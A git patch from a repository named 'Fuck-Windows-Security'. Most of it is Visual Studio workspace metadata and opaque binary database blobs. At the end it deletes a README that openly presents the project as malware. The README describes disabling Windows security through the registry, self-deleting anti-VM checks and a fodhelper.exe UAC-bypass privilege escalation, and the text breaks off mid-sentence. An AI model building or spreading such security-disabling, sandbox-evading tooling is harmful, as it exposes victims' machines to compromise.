"D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Users\\Ashc0\\OneDrive\\Documents\\manifest.json\\chemist\\scripts.json||{90A6B3A7-C1A3-4009-A288-E2FF89E96FA0}" + }, + { + "AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Users\\Ashc0\\OneDrive\\Documents\\manifest.json\\chemist\\index.json||{90A6B3A7-C1A3-4009-A288-E2FF89E96FA0}" + }, + { + "AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Users\\Ashc0\\OneDrive\\Documents\\manifest.json\\chemist\\option.js||{14D17961-FE51-464D-9111-C4AF11D7D99A}" + } + ], + "DocumentGroupContainers": [ + { + "Orientation": 0, + "VerticalTabListWidth": 256, + "DocumentGroups": [ + { + "DockedWidth": 200, + "SelectedChildIndex": 2, + "Children": [ + { + "$type": "Document", + "DocumentIndex": 2, + "Title": "manifest.json", + "DocumentMoniker": "C:\\Users\\Ashc0\\OneDrive\\Documents\\manifest.json\\chemist\\manifest.json", + "ToolTip": "C:\\Users\\Ashc0\\OneDrive\\Documents\\manifest.json\\chemist\\manifest.json", + "ViewState": "AgIAAAAAAAAAAAAAAAAAAAsAAAAEAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.001642|", + "WhenOpened": "2025-12-11T07:05:11.35Z", + "IsPinned": true, + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 1, + "Title": "config.json", + "DocumentMoniker": "C:\\Users\\Ashc0\\source\\repos\\chemtrail\\config.json", + "ToolTip": "C:\\Users\\Ashc0\\source\\repos\\chemtrail\\config.json", + "ViewState": "AgIAAAAAAAAAAAAAAAAAAA0AAAAVAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.001642|", + "WhenOpened": "2025-12-11T15:05:57.234Z", + "IsPinned": true, + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 0, + "Title": "styles.css", + "DocumentMoniker": "C:\\Users\\Ashc0\\OneDrive\\Documents\\manifest.json\\chemist\\styles.css", + "ToolTip": "C:\\Users\\Ashc0\\OneDrive\\Documents\\manifest.json\\chemist\\styles.css", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.003000|", + "WhenOpened": "2025-12-12T00:42:00.372Z", + "IsPinned": true + }, + { + "$type": "Document", + "DocumentIndex": 7, + "Title": "Fetch.json", + "DocumentMoniker": "C:\\Users\\Ashc0\\OneDrive\\Documents\\bypass tech\\Fetch.json", + "ToolTip": "C:\\Users\\Ashc0\\OneDrive\\Documents\\bypass tech\\Fetch.json", + "ViewState": "AgIAAA8AAAAAAAAAAAAAAAYAAAAJAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.001642|", + "WhenOpened": "2025-12-11T14:53:12.673Z", + "IsPinned": true, + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 8, + "Title": "sites.json", + "DocumentMoniker": "C:\\Users\\Ashc0\\source\\repos\\sites.json", + "ToolTip": "C:\\Users\\Ashc0\\source\\repos\\sites.json", + "ViewState": "AgIAAAAAAAAAAAAAAAAAAAMAAAAWAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.001642|", + "WhenOpened": "2025-12-11T16:38:58.543Z", + "IsPinned": true, + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 9, + "Title": "scripts.json", + "DocumentMoniker": "C:\\Users\\Ashc0\\OneDrive\\Documents\\manifest.json\\chemist\\scripts.json", + "ToolTip": "C:\\Users\\Ashc0\\OneDrive\\Documents\\manifest.json\\chemist\\scripts.json", + "ViewState": "AgIAACoDAAAAAAAAAAAqwMwEAAADAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.001642|", + "WhenOpened": "2025-12-11T14:25:21.644Z", + "IsPinned": true, + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 10, + "Title": "index.json", + "DocumentMoniker": "C:\\Users\\Ashc0\\OneDrive\\Documents\\manifest.json\\chemist\\index.json", + "ToolTip": "C:\\Users\\Ashc0\\OneDrive\\Documents\\manifest.json\\chemist\\index.json", + "ViewState": "AgIAAAAAAAAAAAAAAAAAABsAAAANAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.001642|", + "WhenOpened": "2025-12-12T20:19:13.442Z", + "IsPinned": true, + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 3, + "Title": "shield.png", + "DocumentMoniker": "C:\\Users\\Ashc0\\OneDrive\\Documents\\manifest.json\\chemist\\assets\\assets\\shield.png", + "ToolTip": "C:\\Users\\Ashc0\\OneDrive\\Documents\\manifest.json\\chemist\\assets\\assets\\shield.png", + "ViewState": "AgIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.001533|", + "WhenOpened": "2025-12-12T13:58:07.444Z", + "IsPinned": true, + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 11, + "Title": "option.js", + "DocumentMoniker": "C:\\Users\\Ashc0\\OneDrive\\Documents\\manifest.json\\chemist\\option.js", + "ToolTip": "C:\\Users\\Ashc0\\OneDrive\\Documents\\manifest.json\\chemist\\option.js", + "ViewState": "AgIAABQAAAAAAAAAAAAkwAoAAAACAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.001646|", + "WhenOpened": "2025-12-12T17:45:35.788Z", + "IsPinned": true, + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 6, + "Title": "launch.json", + "DocumentMoniker": "C:\\Users\\Ashc0\\Downloads\\launch.json", + "ToolTip": "C:\\Users\\Ashc0\\Downloads\\launch.json", + "ViewState": "AgIAAAAAAAAAAAAAAAAAAAkAAAAfAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.001642|", + "WhenOpened": "2025-12-12T23:34:17.671Z", + "IsPinned": true, + "EditorCaption": "" + }, + { + "$type": "Bookmark", + "Name": "ST:0:0:{1c4feeaa-4718-4aa9-859d-94ce25d182ba}" + }, + { + "$type": "Document", + "DocumentIndex": 5, + "Title": "applicationhost.config", + "DocumentMoniker": "D:\\source\\ashc0m-cmd\\Fuck-Windows-Security\\.vs\\Fuck-Windows-Security.slnx\\config\\applicationhost.config", + "RelativeDocumentMoniker": ".vs\\Fuck-Windows-Security.slnx\\config\\applicationhost.config", + "ToolTip": "D:\\source\\ashc0m-cmd\\Fuck-Windows-Security\\.vs\\Fuck-Windows-Security.slnx\\config\\applicationhost.config", + "RelativeToolTip": ".vs\\Fuck-Windows-Security.slnx\\config\\applicationhost.config", + "ViewState": "AgIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000601|", + "WhenOpened": "2025-12-13T00:23:36.084Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 4, + "Title": "updates.json", + "DocumentMoniker": "C:\\Users\\Ashc0\\OneDrive\\Documents\\bypass tech\\updates.json", + "ToolTip": "C:\\Users\\Ashc0\\OneDrive\\Documents\\bypass tech\\updates.json", + "ViewState": "AgIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.001642|", + "WhenOpened": "2025-12-12T20:49:29.281Z", + "EditorCaption": "" + }, + { + "$type": "Bookmark", + "Name": "ST:0:0:{aa2115a1-9712-457b-9047-dbb71ca2cdd2}" + } + ] + } + ] + }, + { + "Orientation": 0, + "VerticalTabListWidth": 256, + "FloatingWindowState": { + "Id": "79e687d2-82f4-42c0-905d-ed1231f246dc", + "Display": 0, + "X": 881, + "Y": 265, + "Width": 1190, + "Height": 933, + "WindowState": 0 + }, + "DocumentGroups": [] + } + ] +} \ No newline at end of file diff --git a/.vs/Fuck-Windows-Security/CopilotIndices/18.0.934.24903/CodeChunks.db b/.vs/Fuck-Windows-Security/CopilotIndices/18.0.934.24903/CodeChunks.db new file mode 100644 index 0000000000000000000000000000000000000000..837531bfe84d35a6538bc1e6ab6103c30234c77e GIT binary patch literal 73728 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 GDe)gdsA-4* literal 0 HcmV?d00001 diff --git a/.vs/Fuck-Windows-Security/CopilotIndices/18.0.934.24903/SemanticSymbols.db b/.vs/Fuck-Windows-Security/CopilotIndices/18.0.934.24903/SemanticSymbols.db new file mode 100644 index 0000000000000000000000000000000000000000..abcb3233fe32cae3ce106d8c7de6cd50cdbac61c GIT binary patch literal 53248 zcmeI)Piz}m9S884_-~!qrm89{tRkMaTE?c1(+a|FTXl(JPtw^scH%!xt46XW_Nz0E zJ(J8lH_dWDrpq4zN5qXI5;r7H2nkO6=gxVNxWNsC&}t>L5^p>+j^o-*y|*>rQ4)`5 z-rvvrz481>QrRhJjFKmY*-;t!w(vD!ZcbPuL=c1s|Bmu+Z?V_?-W&cZ4y{jGjR={B z7>$1}#QlE|V*iML68lx`oAVz;zKHxJ{MYba=;P44!9NE65(x0!SReoa2)vfS{dh3( z)?4CZrtY_?b=>9$vAV@nc5`?=nk&oMs!Xcc^@2=>_axbVJFPXJr|mqc-g~jo8`l@Z zKYYwgt<|Dt)ofKxJNrgk(Jg8+XWc8TtZZ(|Wipb6WH+jOt5U4UZG>sFjnI<*;xU06cCmL-Q)ecP&C+mZ3p(a;IQl}>w zg(tILN0Z)(M&x3?N2C4Dytq8tnLOoH(N}lIN#k}VFBfFa_a!>xRx;>anoQ{4`QAy* zeiNlMG1|?3Kke5E{S+5Mi92`1-eNxnMr*7$4E>4b4&xcKyLrJI%zk7@6EaK5L$X~~ zwzB0%yZ6 zq@>p5u~U`pushct>wU6bD6OY@S0bUr>Z;gN#4+-Lx<&s6b>bpm%~5y zjb$0F+^zP3Qm)pr1^1}&Qfx@1R#A$ZZ;!K*6j-F{R%9nP0To?I*&=-s5k8cgsFDkw41ix)!J-X z(|I$T1SVkz{FG2_w~Z5vY*Z_&{T6nQjtrBLj$u;LqB=FzHnF<<7B5S05q=WcIN&R< z(dt1xykRL83MIa`$U{ZboAkNzuUtDdy#eM4FgdvX5Nu_(>%B(kP{R z{ve+=yxPr?YV$^;+u@Q*)2T5usm8N}qm>QqNfSxtL!`3`Q%%Mr!F^kxdW#)MsULkK z5K1gAia#4Zk~tLz$4v#^7dP&drZn!rK(e)JNh$KYTXM1L2BS38A}^D-Yopt4pY9BQ z?nvZ8ww$|{EhkrR+(?mPsY;5qLcz;0GA<*jbEQJT{@g8=a@mUgay~OZ8r!&zhS!uy zsa&Lq$?Olw3rez+TvW`u(LBAN7(2;D#SD-0#3nn5E-K0ifcrc$&&GIEa*MJ9qgl~f zy2`pHJwFWYSZ$Qbva(sUKfsb_A&??vc|$JC#T-AY@HQuvX3Cy3?&m%qyj(Uf^XaMk z`8-(?dkJrzcsc4DTAOaG?7-U)a09khRCa1IC-A1Imtc^?nK0gFdwzOlNvUmLFme65 z_{ceMxo3CuxJ&iM;AGEz>pwR`ymLHvXHw@wpSI|6s<$VG5=%?si}`+;UbWuq+__Q) zQ{_v}v_VJ4Pa<-Det2`LpjvF#%-(+oV@ZiVx7rTriPa5{3TwxCm;O z8U6Qlub1_k-kOh}WQXk&?P%SK~_4}2ThdUu&=GAG+%sjL99#nP>^RR!Ba0ZM}WU z@4M(DE>EBS?mOl+9va^|eyz@|1^q&InwkgQcAEdr-?DRl;bfW;WW8^1(v~M+KjaTb zKNI2$u@7U}_{Z^IL_dqyVn08NaI8T90uX=z1Rwwb2tWV=5P-l}SKvK=FCk8G!9Dg) zM*p5gMDh2oPE*vxTNR;qeBEgZ8e9zrH~qcK)8w3R1s}NQ?_HU?oH4gZ{NME*Pg9P2 zQ^I%4cQQ@3vy1t;TfWmvQw-0{1Rwwb2tWV=5P$##AOHa_fa`yR z0R$ib0SG_<0uX=z1Rwwb2tZ)=1?>O-Hy8h>5dSa#fdv8(fB*y_009U<00Izz00bZa zfmslUM0~>6-H!M~pRj=E|FbZx=mP{G009U<00Izz00bZa0SG|g)dKeOfBgObtBtT1 z0uX=z1Rwwb2tWV=5P$##An;Weu%G{n@&5??3kw7w009U<00Izz00bZa0SG_<0y88q q?|VahMomjIbU&W|&(Of4D-eJH1Rwwb2tWV=5P$##AOL|00{;V^a4^aM literal 0 HcmV?d00001 diff --git a/.vs/ProjectSettings.json b/.vs/ProjectSettings.json new file mode 100644 index 0000000..f8b4888 --- /dev/null +++ b/.vs/ProjectSettings.json @@ -0,0 +1,3 @@ +{ + "CurrentProjectSetting": null +} \ No newline at end of file diff --git a/.vs/PythonSettings.json b/.vs/PythonSettings.json new file mode 100644 index 0000000..2d74f7e --- /dev/null +++ b/.vs/PythonSettings.json @@ -0,0 +1,3 @@ +{ + "Interpreter": "Global|VisualStudio|chemist" +} \ No newline at end of file diff --git a/.vs/VSWorkspaceState.json b/.vs/VSWorkspaceState.json new file mode 100644 index 0000000..6b61141 --- /dev/null +++ b/.vs/VSWorkspaceState.json @@ -0,0 +1,6 @@ +{ + "ExpandedNodes": [ + "" + ], + "PreviewInSolutionExplorer": false +} \ No newline at end of file diff --git a/.vs/slnx.sqlite b/.vs/slnx.sqlite new file mode 100644 index 0000000000000000000000000000000000000000..6394887749b6a9bc7939693b0b574d0fb0c786bb GIT binary patch literal 90112 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 z + True + SOLUTION + True + True + ashc0m + 1 + C:\Users\documents\manifest.json\chemist\assets + True + C:\Users\Ashc0\OneDrive\Documents\.vscode + 2 + C:\Users\Ashc0\chemist\assets + C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe + C:\Program Files\dotnet\sdk\10.0.100\KnownWorkloadManifests.txt + 262144 + True + fetching everything it needs to bypass whatever I like!!!! + True + NewVersion + True + Normal + C:\Users\Ashc0\OneDrive\Documents\manifest.json\chemist + False + True + MongoDB + GrayDark + Never + KeepBoth + True + True + project + ashc0m + 5FC594DB9A6BAE4A80D729FD8153E6B5 + run + FDF3B6B95F3BF546804A685CC8152ABC \ No newline at end of file diff --git a/Fuck-Windows-Security.slnx b/Fuck-Windows-Security.slnx new file mode 100644 index 0000000..9e03f3d --- /dev/null +++ b/Fuck-Windows-Security.slnx @@ -0,0 +1,11 @@ + + + + + + + + + + + From 63a259d12c96c559e2d1cca83611ae719fc6fe2e Mon Sep 17 00:00:00 2001 From: PaccDeveloper <61870504+PaccDeveloper@users.noreply.github.com> Date: Wed, 14 Jan 2026 17:38:39 +0200 Subject: [PATCH 3/4] Update README.md --- README.md | 134 +----------------------------------------------------- 1 file changed, 1 insertion(+), 133 deletions(-) diff --git a/README.md b/README.md index d026b5b..8b254fa 100644 --- a/README.md +++ b/README.md @@ -1,133 +1 @@ -# Fuck-Windows-Security -> [!CAUTION] -> ## MALWARE AHEAD! IF YOU DO NOT KNOW WHAT THAT IS, LEAVE. -
    - - - -
    - -
    - -> [!WARNING] -> ***This script was NOT optimized to shorten and obfuscate the code but rather intended to have as much readability as possible for new coders to learn!*** - -# How does it work? - -* Well, if we want to disable Windows's security features, we can use **Registry Editor** for that. However, we will need administrative privileges to access regedit. Like who's gonna run a malware as administrator? - -* First, the script will check if it is running in a virtual environment, if it is, it will delete itself. - -> [!NOTE] -> The Anti-VM feature in this script was written by referencing the Metasploit's "[checkvm](https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/checkvm.rb)" module. - -| Currently Supported VMs | Status | -|-------------------------|----------| -| [Parallels](https://www.parallels.com) | Tested ✅ | -| [Hyper-V](https://learn.microsoft.com/en-us/virtualization/hyper-v-on-windows/about) | Tested ✅ | -| [VMware](https://www.vmware.com) | Tested ✅ | -| [VirutalBox](https://www.virtualbox.org) | Tested ✅ | -| [Xen](https://xenproject.org) | Tested ✅ | -| [QEMU/KVM](https://www.qemu.org) | Tested ✅ | - -## Privilege Escalation - -- In Windows, when a user is requesting to open **“Manage Optional Features”** in settings, a process is created under the name **“fodhelper.exe”**. This process is running with the highest privileges without any permissions being asked directly when executed because it's a trusted binary and signed by 